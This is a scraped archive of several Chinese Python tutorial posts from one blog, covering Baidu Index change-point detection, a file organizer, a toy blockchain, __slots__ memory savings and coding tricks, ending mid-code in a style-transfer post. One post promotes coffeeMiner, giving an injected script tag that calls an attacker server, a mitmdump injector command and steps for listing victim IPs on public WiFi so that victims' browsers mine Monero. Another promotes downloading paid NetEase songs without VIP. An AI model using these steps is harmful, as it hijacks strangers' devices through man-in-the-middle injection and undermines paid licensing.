所有由Python实用宝典发布的文章

Python 百度指数突变值检测

百度指数是一款非常好用的工具,通过它我们能知道某些关键词在过去的一些日子里的热度变化趋势并能够对这些数据进行分析。如果能用得好百度指数,我们将能产出巨大的价值。

你可以通过关注文章下方的公众号(Python实用宝典),回复 百度指数突变点 获得本文所有的源代码。

今天的教程主要是来教大家如何找出百度指数中突变值的位置,如图所示画框框的部分:

30天数据 突变区域

30天的数据流中很容易通过人工的方法找到突变数据的位置,但如果是180天呢?这可就不好通过人工的方法找了:

180天数据

如何使用Python自动找出这180天里的突变点呢?由于这里涉及到了对时间序列的突变点的检测,我们可以使用一种叫 Pettitt突变点检测 算法

1.获取数据

通过开发者工具找到数据接口,结果发现其接口返回来的数据进行了加密:

看起来就很像字符串替换,如果要从头开始解密的话需要做一些对比工作(把源数据和该加密数据放一起进行比较)或者直接看前端源代码 。由于这里不是今天要讲的重点内容,我直接使用了他人的开源项目: 百度指数爬虫 。你可以通过关注文章最下方的公众号(Python实用宝典),回复 百度指数突变点 获得本文所有的源代码。

将爬取到的数据,按照关键词存放到数组中,你可以很轻易地修改我的代码增加/减少关键词。如下:

from get_index import BaiduIndex

if __name__ == "__main__":
    keywords = ['区块链']
    results = {'区块链':[]}
    baidu_index = BaiduIndex(keywords, '2019-05-04', '2019-11-04')
    for index in baidu_index.get_index():
        if index['type'] == 'all':
            results[index['keyword']].append(index['index'])
    print(results)

2.突变点算法

Pettitt突变点检测 算法是用R语言写的,实现其实很简单。作者并没有说为什么这么做,而是给了几个数学公式,我们只需要跟着做即可。

代码如下:

def pettitt(data):
    data = np.array(data)
    n = data.shape[0]
    k = range(n)
    dataT = pd.Series(data)
    r = dataT.rank()
    Uk = [2*np.sum(r[0:x])-x*(n + 1) for x in k]
    Uabs = list(np.abs(Uk))
    U = np.max(Uabs)
    K = Uabs.index(U)
    p = 2 * np.exp((-6 * (U**2))/(n**3 + n**2))
    if p <= 0.5:
        # 显著
        result = 'yes'
    else:
        # 不显著
        result = 'no'
    return K, result 

我们只需要将数据放入该函数,就能得到这段数据的突变点(一个),由于它只能找出一段数据里的一个突变点,而我们需要获得的是多个突变点,因此还得设置一个移动窗口,获得每个窗口中的突变位置。

3.设置窗口获得每个窗口的突变位置

将数据设为30天一个窗口,检测每个窗口中的突变值:

    length = len(results['区块链'])
    locations = []
    for i in range(0, length, 1):
        pos, result = pettitt(results['区块链'][i:i+29])
        if result == 'yes':
            locations.append(pos+i)
    print(set(locations)) 

结果如下:

这样看实在是不好看出什么,用matplotlib可视化一下:

    print(results)
    plt.plot(range(len(results['区块链'])), [int(i) for i in results['区块链']])
    for i in locations:
        plt.plot(i,int(results['区块链'][i]),'ks')
    my_y_ticks = np.arange(0, 250000, 50000)
    #显示范围为0至25000,每5000显示一刻度
    plt.yticks(my_y_ticks)
    plt.show()

结果:

说实话,不太满意这个结果,有两个比较明显的两个突变点竟然没找出来。除开这两个突变点不说,整体上看,这个检测方法的效果还可以。

文章到此就结束啦, 你可以通过关注文章下方的公众号(Python实用宝典),回复 百度指数突变点 获得本文所有的源代码。

如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

教你怎么用 Python 自动一键整理文件

Python 自动整理文件是一个非常容易实现的工具。以前,我经常习惯性地把下载下来的东西放在桌面或者下载文件夹中,使用完后再也没管它,久而久之桌面便变得乱七八糟到后面再整理的时候就非常痛苦了,巴不得有一个自动整理的工具帮我归类文档。

不知道你是不是有过跟我一样糟糕的体验,不过,我们现在完全可以用Python做一个这样的工具来根据后缀名整理文件先来看看效果:

自动整理前:

自动整理后:

效果非常好,舒服多了如果你想要直接下载源代码试试看,请关注文章最下方的Python实用宝典公众号,后台回复 文件自动整理 获得源代码下载地址。

1.一键整理文件

开始之前,你要确保Python和pip已经成功安装在电脑上,如果没有,请访问这篇文章:超详细Python安装指南 进行安装。

(可选1) 如果你用Python的目的是数据分析,可以直接安装Anaconda:Python数据分析与挖掘好帮手—Anaconda,它内置了Python和pip.

(可选2) 此外,推荐大家用VSCode编辑器来编写小型Python项目:Python 编程的最好搭档—VSCode 详细指南

你只需要修改源代码主程序中调用 auto_organize 函数的参数即可完成对对应文件的整理,比如我想整理  C:\Users\83493\Downloads 文件夹:

if __name__ == "__main__":    auto_organize(r"C:\Users\83493\Downloads")

如上所示,修改代码第61行的文件夹地址即可。修改完成后运行该脚本:

python auto_files.py

就能瞬间完成对指定文件夹的整理,极其方便。

你只需要修改源代码主程序中调用 auto_organize函数的参数即可完成对对应文件的整理,比如我想整理  C:\Users\83493\Downloads 文件夹:

if __name__ == "__main__":    auto_organize(r"C:\Users\83493\Downloads")


如上所示,修改代码第61行的文件夹地址即可。修改完成后运行该脚本:

python auto_files.py

就能瞬间完成对指定文件夹的整理,极其方便:

2.整理文件原理

为了整理这些文件,我们要遍历当前指定的文件夹:如果是文件夹则跳过,如果是文件则检测后缀,分类到对应的文件夹中。文件夹名字及其对应的文件后缀如下:

DIRECTORIES = {
    "图片": [".jpeg", ".jpg", ".tiff", ".gif", ".bmp", ".png", ".bpg", "svg",
               ".heif", ".psd"],
    "视频": [".avi", ".flv", ".wmv", ".mov", ".mp4", ".webm", ".vob", ".mng",
               ".qt", ".mpg", ".mpeg", ".3gp", ".mkv"],
    "文档": [".oxps", ".epub", ".pages", ".docx", ".doc", ".fdf", ".ods",
             ".odt", ".pwi", ".xsn", ".xps", ".dotx", ".docm", ".dox",
             ".rvg", ".rtf", ".rtfd", ".wpd", ".xls", ".xlsx", ".ppt",
             "pptx",".csv",",pdf"],
    "压缩文件": [".a", ".ar", ".cpio", ".iso", ".tar", ".gz", ".rz", ".7z",
                ".dmg", ".rar", ".xar", ".zip"],
    "影音": [".aac", ".aa", ".aac", ".dvf", ".m4a", ".m4b", ".m4p", ".mp3",
             ".msv", "ogg", "oga", ".raw", ".vox", ".wav", ".wma"],
    "文本": [".txt", ".in", ".out"],
    "编程": [".py",".html5", ".html", ".htm", ".xhtml",".c",".cpp",".java",".css"],
    "可执行程序": [".exe"],
}

接下来是自动整理的部分代码,先遍历指定的文件夹,识别后缀并分类到对应的文件夹中。

    for entry in os.scandir(dirval):
        if entry.is_dir():
            # 如果是文件夹则跳过
            continue
        file_path = Path(dirval + "\\" + entry.name)
        file_format = file_path.suffix.lower()
        # 避免后缀大小写判断问题,全转为小写
        if file_format in FILE_FORMATS:
            directory_path = Path(dirval + "\\" + FILE_FORMATS[file_format])
            directory_path.mkdir(exist_ok=True)
            file_path.rename(directory_path.joinpath(entry.name))

还有出现不存在在我们字典里的后缀的情况,把它们分类到名为 其他文件 的文件夹中:

    try:
        os.mkdir(dirval + "\\" +"其他文件")
    except:
        pass

    for dir in os.scandir(dirval):
        try:
            if dir.is_dir():
                # 删除空文件夹
                os.rmdir(dir)
            else:
                temp = str(Path(dir)).split('\\')
                # 分割文件路径
                path = '\\'.join(temp[:-1])
                print(path + '\\其他文件\\' + str(temp[-1]))
                os.rename(str(Path(dir)), path + '\\其他文件\\' + str(temp[-1]))
        except:
            pass

最后再把以上这些部分整理成函数即可。关注文章最下方的Python实用宝典公众号,后台回复 文件自动整理 获得源代码下载地址。

3.自定义整理

如果你并不想按照设定好的文件整理,希望能自定义地将某些特定后缀的文件放到另一个文件夹,比如 .py 文件统一收纳到“Python脚本”文件夹中,你可以这么改 DIRECTORIES 变量:

改动前:

DIRECTORIES = {
    # ......
    "编程": [".py",".html5", ".html", ".htm", ".xhtml",".c",".cpp",".java",".css"],
    # ......
}

改动后:

DIRECTORIES = {
    # ......
    "编程": [".html5", ".html", ".htm", ".xhtml",".c",".cpp",".java",".css"],
    "Python脚本": [".py"],
    # ......
}

你可以按照这个方法,自定义收纳那些你需要整理收纳的文件格式。

如果你只想对 DIRECTORIES 变量里那些后缀的文件进行整理,不属于这些后缀的文件则不进行整理,不需要放到“其他文件”目录下,此时要怎么做?

很简单,你只需要删除以下部分代码就可以完成这个功能:

# ......
    try:
        os.mkdir(dirval + "\\" +"其他文件")
    except:
        pass

    for dir in os.scandir(dirval):
        try:
            if dir.is_dir():
                # 删除空文件夹
                os.rmdir(dir)
            else:
                temp = str(Path(dir)).split('\\')
                # 分割文件路径
                path = '\\'.join(temp[:-1])
                print(path + '\\其他文件\\' + str(temp[-1]))
                os.rename(str(Path(dir)), path + '\\其他文件\\' + str(temp[-1]))
        except:
            pass
# ......

怎么样,是不是很方便?如果喜欢的话记得给我点个赞哦。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 批量下载网易云音乐歌单

网易云音乐有非常优秀的分享氛围,有许多好听的歌单,不过有时候我们想要下载这些歌单到自己的MP4或可移动存储设备却非常麻烦:要么是有VIP但歌单歌曲太多、一个一个下载非常麻烦,要么是没VIP无法下载一些歌曲。今天给大家推荐一种基于Python的下载方法,可以批量免VIP下载歌单音乐

作者直接将其用 wxPython做成了一个exe程序,如果你想直接使用但是却上不了github的话,请扫描关注最下方Python实用宝典公众号二维码,回复 网易云音乐下载 获得程序和源代码。开源项目地址: 网易云音乐歌曲批量下载,免VIP【支持歌单,排名榜】

1.爬取原理

1.1 通过接口下载歌曲

我们知道,可在线播放的音乐大部分存在可以直接访问下载音乐的链接,这就是它的真实外链地址。而网易云音乐的真实外链地址是:

https://music.163.com/song/media/outer/url?id=%E6%AD%8C%E6%9B%B2id.mp3&_=1

只要通过获得歌单的所有歌曲ID,然后将其替换到这个真实外链地址中,我们就能够实现歌曲的批量下载。这份开源代码的作者没有使用异步的形式进行下载,如果你想要下载的歌单歌曲非常多的话,建议你将其改成异步的形式,具体的教程可见我们之前的文章:Python 异步批量下载

1.2 获得歌单所有的歌曲ID

可以随意打开一个歌单,比如网 易 10w 评 论 的 热 歌. 使用开发者工具,可以非常轻易地定位到歌单里的音乐的链接:

而这个链接的后面 id=xxxxxx 就是这首歌曲的id,我们仅需要定位到这些链接的css,使用beautifulsoup即可获得它们的id。看看作者是怎么写的:

2. 程序使用方法

将你想要下载的歌单地址放入这个exe程序即可:

手机版网易云音乐,仅需要进入歌单,然后点击分享按钮,就可复制链接获得歌单地址:

然后把这个地址放入程序中即可开始批量下载啦,怎么样,是不是非常方便的工具?感谢原作者的分享,给它点个star吧!

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

音乐相关教程:

Python 批量下载网易云音乐歌单

Python 制作音乐高潮副歌提取器

Python Django快速开发音乐高潮提取网(1)

Python Django快速开发音乐高潮提取网(2)

Python Django快速开发音乐高潮提取网(3)

Python 超方便超快速剪辑音乐

Python 提取音乐频谱并可视化

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python Vs R:你应该学哪个?

本文翻译自英文: R Vs Python: Which One Should You Learn?

如果你想成为一名专业的数据科学家,你至少需要学习一种编程语言。但是如何在Python和R这两种最流行的数据分析语言之间做出选择呢? 如果你有兴趣了解他们各自的优缺点,请继续阅读!

作为一名数据科学家,您可能需要学习SQL(结构化查询语言)。SQL实际上是关系数据的语言,大多数公司的信息仍然存在这种数据中。但SQL只给了你检索数据的能力,而不具备数据清洗或运行模型的能力——这就是Python和R的所用之处。

关于R的一点背景知识

R语言是由来自新西兰奥克兰大学的两位统计学家Ross Ihaka和Robert Gentleman发明的。它最初在1995年发布,并在2000年发布了一个较为稳定的测试版。它是一种解释型语言(不需要在运行代码前编译),并拥有一套非常强大的统计建模和绘图工具

R语言是S语言的一种实现,S语言是上世纪70年代在贝尔实验室开发的一种统计编程语言,它的灵感来自于Scheme (Lisp的一种变体)。它也是可扩展的,很容易从许多其他编程语言调用R的对象。

R语言是免费的,并且已经变得越来越受欢迎。相比于传统的商业统计软件包,如SAS和SPSS,大多数用户喜欢使用RStudio编写他们的R代码,RStudio是一种集成开发环境(IDE)。

关于Python的一点背景知识

Pytho最初是1991年由Guido van Rossum作为通用编程语言发布的。与R一样,它也是一种解释型语言,并且有一个相对全面的标准,可以轻松地对许多常见任务进行编程,不需要安装额外的。同样,它也是免费的。

对于数据科学来说,Python提供了许多非常强大。有NumPy(高效数值计算)、panda(广泛的数据清洗和分析工具)和statsmodel(常见的统计方法)。还有TensorFlow、Keras和PyTorch(用于构建深度学习神经网络的)。

现在,许多数据科学家使用Python编写时使用 Jupyter NotebooksJupyter Notebooks 可以方便地创建混合了文章、代码、数据和可视化图形的文档,从而方便地记录研究过程,也方便其他数据科学家查看和复制工作。

选择一种语言

从历史上来看,数据科学界内部存在着相当大的分歧。通常,具有较强学术或统计背景的数据科学家喜欢R,而具有较多编程背景的数据科学家则更喜欢Python。

Python的优势

对比于R,Python具有以下优势:

1.通用: Python是一种通用编程语言。它非常适合进行统计分析,不仅如此,如果你希望构建一个用于共享数据的网站,或者构建一个易于与生产系统集成的web服务,那么Python相对于R是更灵活、更有力的选择。

2.越来越受欢迎: 在2019年9月Tiobe最受欢迎的编程语言指数中,Python是第三大最受欢迎的编程语言(去年增长了超过2%),而R从去年的第18位下降到了第19位。

3.更适合深度学习: 大多数深度学习项目都在Python语言的基础上使用TensorFlow或PyTorch。虽然R TensorFlow已经发布了, 但是其依然远不及Python TensorFlow. 随着深度学习应用变得日益广泛(从计算机视觉开始,现在已经成为大多数处理自然语言任务的默认方法),Python变得越来越重要。

4.与其他语言相似: Python与其他语言相似,这可以节省许多学习成本。虽然有Lisp背景的人可以很快学会R, 但是有Lisp背景的人毕竟是少数。对于Python,你只要学过一种流行语言,比如Java, c#, JavaScript或Ruby——那么学起来将非常轻松。

仍然有很多工作需要使用到R,所以如果你有时间的话,不妨同时学习这两种语言。但是我认为,对于数据科学家来说,Python正在成为占主导地位的编程语言,是更好的首选学习对象。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 搭建简单的食品安全溯源区块链

部分引用自: Satwik Kansal
Develop a blockchain application from scratch in Python

这两天比特币暴涨到了9000美元,除了习大大重点点名的影响,还有明年4月比特币区块减半的因素在里面。不过这些都不是今天这篇文章的重点,今天我们要重点关注的是比特币的事务(在帐户之间转移比特币)的原理——区块链。并用它来搭建一个简单的去中心化的食品安全溯源区块链。

区块链是一种存储数字数据的方式,数据可以是任何内容。对于比特币而言,它就是账户之间转移比特币的事务,我们还可以将其应用到食品安全领域,那就是保存食品制作过程中的各个步骤的时间、原料、制作者等。

用区块链记录这些过程十分具备优势,因为区块链可以具备以下特点:

  • 1.历史记录无法修改(本文重点讨论)
  • 2.数据去中心化保存
  • 3.无单点故障

扫描文章下方二维码关注Python实用宝典公众号,回复食品安全溯源可获得完整源代码。

1.将数据存储到区块中

我们将用json保存我们想要的数据,以下是一个例子:

{
    "timestamp": "1572185927665", 
    "source": "香肠加工", 
    "recorder": "小詹"
}

2.让区块不可被更改

为了保证历史记录无法被修改,一旦被修改我们能检测出对区块的数据的任何篡改,因此我们需要用到哈希函数SHA256,它能从任何一种数据中心创建数字指纹,以保证数据的唯一性。下面是一个例子:

from hashlib import sha256
data = "TEST".encode("utf-8")
print(sha256(data).hexdigest())

然后我们将哈希得到的结果保存到区块的一个字段里,其作用类似于它所包含的数据的数字指纹:

from hashlib import sha256
import json
class Block: 
    def compute_hash(self):  
        """ 
        对区块进行哈希计算
        """ 
        block_string = json.dumps(self.__dict__, sort_keys=True) 
        return sha256(block_string.encode()).hexdigest()

3.链接区块

我们已经设置好了区块,但区块链应该是一个区块集合,我们可以把所有的区块存储在列表中,但是这远远不够,如果有人故意替换了一个区块怎么办?我们需要采用某种方法来确保对过去的区块的任何更改都会造成整个链的失效。我们将通过哈希值将区块连接起来,即将前一个区块的哈希值包含在当前区块中。所以如果当前的区块的内容发生更改,该区块的哈希值也会发生更改,导致与下一个区块的前一个区块(previous_hash)的哈希字段不匹配

每一个区块都根据previous_hash字段链接到前一个区块,但是第一个区块(创始区块)怎么办?大多数情况下,我们将手动为他赋值。

将index、时间戳、数据段和previous_hash加到区块类的初始化中:

from hashlib import sha256
import json
class Block: 
    def __init__(self, index, data, timestamp, previous_hash):
        self.index = index 
        self.data = data
        self.timestamp = timestamp
        self.previous_hash = previous_hash 

    def compute_hash(self):  
        """ 
        对区块进行哈希计算
        """ 
        block_string = json.dumps(self.__dict__, sort_keys=True) 
        return sha256(block_string.encode()).hexdigest()

这是我们的区块链类:

class Blockchain:
    def __init__(self): 
        self.unconfirmed_data = [] # 尚未进入区块链的数据
        self.chain = []
        self.create_genesis_block()
 
    def create_genesis_block(self): 
        """
        生成创始区块(genesis block)并将其附加到链中的函数。
        该块的索引为0,previous_hash为0,并且是一个有效的散列。
        """
        genesis_block = Block(0, [], time.time(), "0")
        genesis_block.hash = genesis_block.compute_hash()
        self.chain.append(genesis_block)
 
    @property
    def last_block(self): 
        return self.chain[-1]

4.工作量证明算法

其实这样做,还远远不够。因为我们更改前一个区块就可以非常轻松地计算后续所有区块的哈希值,创建一个不同且有效的区块链。为了预防这种情况,我们必须让计算哈希值的任务变得困难和随机化。

我们将引入一个约束条件和一个叫nonce的随机数的新字段。这个约束条件就是块哈希开头部分的零 (前导零) 的个数,随机数会不断变化,直到我们获得满足约束条件的哈希值。前导零的数量决定了工作量证明算法的难度。看看下面比特币出块图就知道了,比特币的难度的不断增加是通过增加前导零的数量实现的。

假设我们的难度是2,则编写工作量证明算法代码如下:

class Blockchain: 
    # 前面的代码略
    # 难度
    difficulty = 2
    def proof_of_work(self, block): 
        """
        函数尝试不同的随机数以获得满足我们难度的块哈希。
        """
        block.nonce = 0
        computed_hash = block.compute_hash()
        while not computed_hash.startswith('0' * Blockchain.difficulty): 
            block.nonce += 1
            computed_hash = block.compute_hash()
        return computed_hash 

这样做有一个好处:只能通过暴力破解确定随机数,这就是为什么现在挖矿行业这么火爆的原因。

5.将区块添加到链中

要将区块添加到链中,我们得先验证工作量证明是否正确,以及要添加的区块的previous_hash 字段是否指向链中最新区块的哈希值。

class Blockchain:
    # 前面的代码略
    def is_valid_proof(self, block, block_hash):
        """
        工作量证明验证,并确保previous_hash正确
        """
        return (block_hash.startswith('0' * Blockchain.difficulty) and
                block_hash == block.compute_hash())

    def add_block(self, block, proof):
        """
        在验证成功后将块链接起来
        """
        previous_hash = self.last_block.hash
        if previous_hash != block.previous_hash: 
            return False
        if not self.is_valid_proof(block, proof): 
            return False
        block.hash = proof
        self.chain.append(block)
        return True

6.挖矿

数据将存储在unconfirmed_data中,将unconfirmed_data中的数据放入区块中并计算工作量证明的过程称为挖矿。一旦找到满足约束条件的随机数,就可以说我们挖到了一个区块,这个区块就会放入区块链中。

在比特币中,作为对耗费算力来计算工作量证明的奖励,矿工可以获得一些加密货币,以下是我们的挖矿函数:

class Blockchain:
# 前面代码略
    def add_new_data(self, data): 
        self.unconfirmed_data.append(data)
 
    def mine(self): 
        """
        此函数充当一个接口,将未决数据添加到块中并计算工作证明,
        然后将它们添加到区块链。
        """
        if not self.unconfirmed_data: 
            return False
 
        last_block = self.last_block
 
        new_block = Block(index=last_block.index + 1,
                          data=self.unconfirmed_data,
                          timestamp=time.time(),
                          previous_hash=last_block.hash)
 
        proof = self.proof_of_work(new_block)
        self.add_block(new_block, proof)
        self.unconfirmed_data = []
        return new_block.index

测试

现在,这条链基本建造完成了,让我们试一试效果。尝试往里面添加一个区块:

def new_data(data): 
    # 这里传入字典数据或json数据都可以
    required_fields = ["source", "recorder"]
    for field in required_fields: 
        if not data.get(field): 
            return "Invlaid data"
    data["timestamp"] = time.time()
    bc.add_new_data(data)
    return "Success"
bc = Blockchain()
a = new_data({"source": "香肠加工", "recorder": "小詹"})
print(a)

添加成功:

F:\push\20191027>python block.py
Success

现在数据是在 unconfirmed_data 中,我们需要挖矿,让它成功添加到区块链上:

def new_data(data): 
    # 这里传入字典数据或json数据都可以
    required_fields = ["source", "recorder"]
    for field in required_fields: 
        if not data.get(field): 
            return "Invlaid data"
    data["timestamp"] = time.time()
    bc.add_new_data(data)
    return "Success"
def get_chain(blockchain): 
    chain_data = []
    for block in blockchain.chain: 
        chain_data.append(block.__dict__)
    return json.dumps({"length": len(chain_data),
                       "chain": chain_data})

def mine_unconfirmed_transactions(blockchain): 
    result = blockchain.mine()
    if not result: 
        print("No data need to mine")
    print("Block #{} is mined.".format(result))

bc = Blockchain()
a = new_data({"source": "香肠加工", "recorder": "小詹"})
print(a)
mine_unconfirmed_transactions(bc)

输出结果:

F:\push\20191027>python block.py
Success
Block #1 is mined.

现在来看看区块链上是不是有两个区块了(一个创始块,一个我们新增的区块)显示数据:

def get_chain(blockchain): 
    chain_data = []
    for block in blockchain.chain: 
        chain_data.append(block.__dict__)
    return json.dumps({"length": len(chain_data),
                       "chain": chain_data})

print(get_chain(bc)) 

结果:

F:\push\20191027>python block.py
 Success
 Block #1 is mined.
 {"length": 2, "chain": [{"index": 0, "data": [], "timestamp": 1572187230.2847784, "previous_hash": "0", "hash": "f30161fc8ffa278f26713a73780b939fe9734d9d459fe4307e72926d9eb9c3aa"}, {"index": 1, "data": [{"source": "\u9999\u80a0\u52a0\u5de5", "recorder": "\u5c0f\u8a79", "timestamp": 1572187230.2847784}], "timestamp": 1572187230.2847784, "previous_hash": "f30161fc8ffa278f26713a73780b939fe9734d9d459fe4307e72926d9eb9c3aa", "nonce": 0, "hash": "0026b22937fdcb24978814dd26cdf64a6210966c26914e66b73ca68805f1cd5a"}]}

非常nice,这样我们就成功新建了一个非常简单的食品安全溯源区块链,当然离上线还有很远的距离(如去中心化及建立共识),但是万事开头难,解决了开头部分,后续就不再会有什么难题了。

扫描文章下方二维码关注Python实用宝典公众号,回复食品安全溯源可获得完整源代码。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python减少字典对象占用的七成内存

程序执行过程中,如果RAM中有大量的对象在运行,就可能会出现内存问题,特别是在对可用内存总量有限的情况下。

下面是一些减少字典对象内存大小的方法,这些方法可以显著减少对象所需的RAM大小。

字典

在Python里用字典来表示结构信息是非常方便的:

>>> ob = {'x':1, 'y':2, 'z':3}
>>> x = ob['x']
>>> ob['y'] = y

但我们来看看它的内存消耗:

>>> print(sys.getsizeof(ob))
240

这个数额看起来好像挺小,但是当你想要创造许多这样的变量时就积小成多了:

对象数目内存大小
1 000 000240 Mb
10 000 0002.40 Gb
100 000 00024 Gb

解决方案

用类实例来代替字典:

class Point:
    def __init__(self, x, y, z):
        self.x = x
        self.y = y
        self.z = z

>>> ob = Point(1,2,3)
>>> x = ob.x
>>> ob.y = y

类实例各个部分的内存大小:

FieldSize (bytes)
PyGC_Head24
PyObject_HEAD16
__weakref__8
__dict__8
TOTAL:56

如果你不是很了解类和实例,可以看廖雪峰的这篇文章。这里的__weakref__是对这个对象的弱引用列表的引用,而__dict__是对类实例字典的引用,它包含实例属性的值。从Python 3.3开始, 类的所有实例用共享空间存储字典的keys. 这减少了内存中实例的大小:

>>> print(sys.getsizeof(ob), sys.getsizeof(ob.__dict__)) 
56 112

56+112=168 < 240. 因此,大量的类实例占用的内存比普通字典(dict)要少:

实例数目大小
1 000 000168 Mb
10 000 0001.68 Gb
100 000 00016.8 Gb

字典占实例大小的百分比为112/168=67%, 我们还是可以看出,实例中字典的大小严重影响了RAM中实例的大小。

带__slots__的类实例

通过消除__dict__和weakref__,可以显著减少RAM中的类实例的大小。用__slots__是有可能做到的:

class Point:
    __slots__ = 'x', 'y', 'z'

    def __init__(self, x, y, z):
        self.x = x
        self.y = y
        self.z = z

>>> ob = Point(1,2,3)
>>> print(sys.getsizeof(ob))
64

RAM中的对象明显变小:

FieldSize (bytes)
PyGC_Head24
PyObject_HEAD16
x8
y8
z8
TOTAL:64

今日重点:在类定义中使用__slots__会显著减少大量实例的内存占用

实例数目大小
1 000 00064 Mb
10 000 000640 Mb
100 000 0006.4 Gb

目前,这是大幅度减少RAM中类实例的内存占用的主要方法。相比于单纯用字典,减少了(240-64)/240=73%的内存占用。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 十个加快编程效率的技巧(tricks)

1.交换两个数字

x, y = 10, 20
print(x, y) 
x, y = y, x 
print(x, y) 

输出

10 20
20 10

2.反转字符串

a ="GeeksForGeeks"
print("Reverse is", a[::-1]) 

输出

Reverse is skeeGroFskeeG

3.连接列表中的元素

a = ["Geeks", "For", "Geeks"] 
print(" ".join(a)) 

输出

Geeks For Geeks

4.多比较符

n = 10
result = 1 < n < 20 
print(result)  
result = 1 > n <= 9
print(result) 

输出

True
False

5.输出模块的位置

import os; 
import socket; 

print(os) 
print(socket) 

输出

<module 'os' from '/usr/lib/python3.5/os.py'>
<module 'socket' from '/usr/lib/python3.5/socket.py'>

6.使用枚举

class MyName: 
    Geeks, For, Geeks = range(3) 

print(MyName.Geeks) 
print(MyName.For) 
print(MyName.Geeks) 

输出

2
1
2

7.函数返回多个值

def x(): 
    return 1, 2, 3, 4
a, b, c, d = x() 
print(a, b, c, d) 

输出

1 2 3 4

8.找到数组中出现频率最高的数

test = [1, 2, 3, 4, 2, 2, 3, 1, 4, 4, 4] 
print(max(set(test), key = test.count)) 

输出

4

9.检查对象占用内存大小

import sys 
x = 1
print(sys.getsizeof(x)) 

输出

28

10.检查两个字符串是否字谜(字母和出现次数一致)

from collections import Counter 
def is_anagram(str1, str2): 
    return Counter(str1) == Counter(str2) 
print(is_anagram('geek', 'eegk')) 
  
print(is_anagram('geek', 'peek'))   

输出

True
False

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 利用公共WiFi挖矿(开源项目仅作研究)

BTC收益

挖矿是什么?只要你加入矿池,提供一定的算力,你就能获得收益。比如poolin矿池,1TH算力的每日收益是1.15元人民币,如果你有一台16TH的矿机,每日的收益就是1.15*16=18.4元,当然,净利润还要去除电费成本。

但是矿机的成本不容忽视,一台16TH的全新矿机价格需要约为3000元上下,二手也要接近千元。如果你买了一台16TH的二手矿机,你需要近54天才能回本。如果说能“借用”他人的算力进行挖矿,那可就太舒服了。西班牙有位叫阿尔诺的开发人员就想到了,能不能利用公共wifi网络进行挖矿呢?

这就是coffeeMiner脚本的用处,它利用中间人攻击的原理,将类似于下面的HTML代码注入到非HTTPS的网页中。

 <script src="http://httpserverIP:8000/.js" type="text/java"></script>

一旦这个脚本被加载,就会执行服务器上的java代码,将本机变成一名矿工,抽取CPU时间,利用挖矿软件来挖名为Monero的加密货币。

不过,它的缺点是对HTTPS页面的请求不起作用,加上SSLStrip可以补上这一不足。 整个脚本都是Python写的,如果你有兴趣可以访问这个项目: coffeeMiner

该项目简单的使用教程

  • 1.执行安装脚本:install.sh
bash install.sh
  • 2.编辑 victims.txt ,一行一个IP
  • 3.编辑 coffeeMiner.py, 第二十八行,将10.0.2.20改为你的矿工服务器的IP:
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
  • 4.执行 coffeeMiner.py
python coffeeMiner.py ipgateway

如果你无法访问github,也可以关注下方Python实用宝典公众号,回复 coffeeminer 获得完整源代码。

文章到此就结束啦,如果你喜欢今天的Python 教程,请持续关注Python实用宝典,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们会耐心解答的!

​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 超简单实现9种图像风格迁移

图像风格迁移已经属于比较成熟的领域了,现在连实时的风格迁移都不成问题。之前一直想出一篇这样的文章,但无奈于大部分开源项目配置起来非常麻烦,比如 luanfujun/deep-photo-styletransfer 项目,需要安装 CUDA、pytorch、cudnn等等,配置完一天都过去了。

不过现在我们有了非常好的开源应用项目,那就是OpenCV的DNN图像风格迁移。你只需要安装OpenCV就可以使用了,在cmd/terminal中输入(如果你还没有安装Python,请看这篇文章:Python安装):

 pip install python-opencv

不过它也是有局限性的,我们只能用别人训练好的模型进行风格迁移,如果我们要自定义风格,那就必须配置cudn等工具,使用 deep-photo-styletransfer 等项目的方法进行训练,今天的教程我们拿fast-neural-style训练好的模型对下面的图片做一次风格迁移。

喵喵喵

1.选择模型

fast-neural-style放出的模型风格一共有9种,我们将一一尝试,其中部分风格如下比如:

candy
mosaic
starry_night
udnie

模型文件可以关注我们下方公众号 Python实用宝典,回复 风格迁移 下载,里面有全部10个模型风格的资源。

2.克隆OpenCV源码

我们直接克隆OpenCV开源项目中关于DNN图像迁移的例子,地址是:

https://github.com/opencv/opencv/blob/3.4.0/samples/dnn/fast_neural_style.py

代码如下:

import cv2 as cv
import numpy as np
import argparse

parser = argparse.ArgumentParser(
        description='This script is used to run style transfer models from '
                    'https://github.com/jcjohnson/fast-neural-style using OpenCV')
